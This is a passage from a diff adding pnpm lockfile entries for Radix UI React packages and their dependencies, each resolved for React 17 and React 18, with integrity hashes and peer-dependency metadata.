^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-collection': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-direction': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-dismissable-layer': 1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-focus-guards': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-focus-scope': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-popper': 1.1.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-portal': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-presence': 1.0.1(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-roving-focus': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + aria-hidden: 1.2.3 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + react-remove-scroll: 2.5.5(@types/react@18.2.7)(react@18.2.0) + dev: false + + /@radix-ui/react-popover@1.0.7(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-shtvVnlsxT6faMnK/a7n0wptwBD23xc1Z5mdrtKLwVEfsEMXodS0r5s0/g5P0hX//EKYZS2sxUjqfzlg52ZSnQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-dismissable-layer': 1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-focus-guards': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-focus-scope': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-popper': 1.1.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-portal': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-presence': 1.0.1(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-controllable-state': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + aria-hidden: 1.2.3 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-remove-scroll: 2.5.5(@types/react@18.2.7)(react@17.0.2) + dev: false + + /@radix-ui/react-popover@1.0.7(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-shtvVnlsxT6faMnK/a7n0wptwBD23xc1Z5mdrtKLwVEfsEMXodS0r5s0/g5P0hX//EKYZS2sxUjqfzlg52ZSnQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-dismissable-layer': 1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-focus-guards': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-focus-scope': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-popper': 1.1.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-portal': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-presence': 1.0.1(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-use-controllable-state': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + aria-hidden: 1.2.3 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + react-remove-scroll: 2.5.5(@types/react@18.2.7)(react@18.2.0) + dev: false + + /@radix-ui/react-popper@1.1.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-cKpopj/5RHZWjrbF2846jBNacjQVwkP068DfmgrNJXpvVWrOvlAmE9xSiy5OqeE+Gi8D9fP+oDhUnPqNMY8/5w==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@floating-ui/react-dom': 2.0.4(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-arrow': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-layout-effect': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-rect': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-size': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/rect': 1.0.1 + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-popper@1.1.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-cKpopj/5RHZWjrbF2846jBNacjQVwkP068DfmgrNJXpvVWrOvlAmE9xSiy5OqeE+Gi8D9fP+oDhUnPqNMY8/5w==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@floating-ui/react-dom': 2.0.4(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-arrow': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-use-layout-effect': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-use-rect': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-use-size': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/rect': 1.0.1 + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-portal@1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-Qki+C/EuGUVCQTOTD5vzJzJuMUlewbzuKyUy+/iHM2uwGiru9gZeBJtHAPKAEkB5KWGi9mP/CHKcY0wt1aW45Q==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-portal@1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-Qki+C/EuGUVCQTOTD5vzJzJuMUlewbzuKyUy+/iHM2uwGiru9gZeBJtHAPKAEkB5KWGi9mP/CHKcY0wt1aW45Q==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-presence@1.0.1(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-UXLW4UAbIY5ZjcvzjfRFo5gxva8QirC9hF7wRE4U5gz+TP0DbRk+//qyuAQ1McDxBt1xNMBTaciFGvEmJvAZCg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-layout-effect': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-presence@1.0.1(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-UXLW4UAbIY5ZjcvzjfRFo5gxva8QirC9hF7wRE4U5gz+TP0DbRk+//qyuAQ1McDxBt1xNMBTaciFGvEmJvAZCg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-use-layout-effect': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-primitive@1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-yi58uVyoAcK/Nq1inRY56ZSjKypBNKTa/1mcL8qdl6oJeEaDbOldlzrGn7P6Q3Id5d+SYNGc5AJgc4vGhjs5+g==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-primitive@1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-yi58uVyoAcK/Nq1inRY56ZSjKypBNKTa/1mcL8qdl6oJeEaDbOldlzrGn7P6Q3Id5d+SYNGc5AJgc4vGhjs5+g==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-roving-focus@1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-2mUg5Mgcu001VkGy+FfzZyzbmuUWzgWkj3rvv4yu+mLw03+mTzbxZHvfcGyFp2b8EkQeMkpRQ5FiA2Vr2O6TeQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-collection': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-direction': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-controllable-state': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-roving-focus@1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-2mUg5Mgcu001VkGy+FfzZyzbmuUWzgWkj3rvv4yu+mLw03+mTzbxZHvfcGyFp2b8EkQeMkpRQ5FiA2Vr2O6TeQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-collection': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-direction': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-use-controllable-state': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-slot@1.0.2(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-slot@1.0.2(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-tooltip@1.0.7(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-lPh5iKNFVQ/jav/j6ZrWq3blfDJ0OH9R6FlNUHPMqdLuQ9vwDgFsRxvl8b7Asuy5c8xmoojHUxKHQSOAvMHxyw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-dismissable-layer': 1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-popper': 1.1.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-portal': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-presence': 1.0.1(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-controllable-state': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-visually-hidden': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-use-callback-ref@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-use-callback-ref@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-use-controllable-state@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-Svl5GY5FQeN758fWKrjM6Qb7asvXeiZltlT4U2gVfl8Gx5UAv2sMR0LWo8yhsIZh2oQ0eFdZ59aoOOMV7b47VA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-use-controllable-state@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-Svl5GY5FQeN758fWKrjM6Qb7asvXeiZltlT4U2gVfl8Gx5UAv2sMR0LWo8yhsIZh2oQ0eFdZ59aoOOMV7b47VA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-use-escape-keydown@1.0.3(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-vyL82j40hcFicA+M4Ex7hVkB9vHgSse1ZWomAqV2Je3RleKGO5iM8KMOEtfoSB0PnIelMd2lATjTGMYqN5ylTg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-use-escape-keydown@1.0.3(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-vyL82j40hcFicA+M4Ex7hVkB9vHgSse1ZWomAqV2Je3RleKGO5iM8KMOEtfoSB0PnIelMd2lATjTGMYqN5ylTg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-use-layout-effect@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-use-layout-effect@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-use-rect@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-Cq5DLuSiuYVKNU8orzJMbl15TXilTnJKUCltMVQg53BQOF1/C5toAaGrowkgksdBQ9H+SRL23g0HDmg9tvmxXw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/rect': 1.0.1 + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-use-rect@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-Cq5DLuSiuYVKNU8orzJMbl15TXilTnJKUCltMVQg53BQOF1/C5toAaGrowkgksdBQ9H+SRL23g0HDmg9tvmxXw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/rect': 1.0.1 + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-use-size@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-ibay+VqrgcaI6veAojjofPATwledXiSmX+C0KrBk/xgpX9rBzPV3OsfwlhQdUOFbh+LKQorLYT+xTXW9V8yd0g==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-use-layout-effect': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-use-size@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-ibay+VqrgcaI6veAojjofPATwledXiSmX+C0KrBk/xgpX9rBzPV3OsfwlhQdUOFbh+LKQorLYT+xTXW9V8yd0g==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-use-layout-effect': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-visually-hidden@1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-D4w41yN5YRKtu464TLnByKzMDG/JlMPHtfZgQAu9v6mNakUqGUI9vUrfQKz8NK41VMm/xbZbh76NUTVtIYqOMA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/rect@1.0.1: + resolution: {integrity: sha512-fyrgCaedtvMg9NK3en0pnOYJdtfwxUcNolezkNPUsoX57X8oQk+NkqcvzHXD2uKNij6GXmWU9NDru2IWjrO4BQ==} + dependencies: + '@babel/runtime': 7.23.5 + dev: false + + /@react-aria/i18n@3.9.0(react@17.0.2): + resolution: {integrity: sha512-ebGP/sVG0ZtNF4RNFzs/W01tl7waYpBManh1kKWgA4roDPFt/odkgkDBzKGl+ggBb7TQRHsfUFHuqKsrsMy9TA==} + 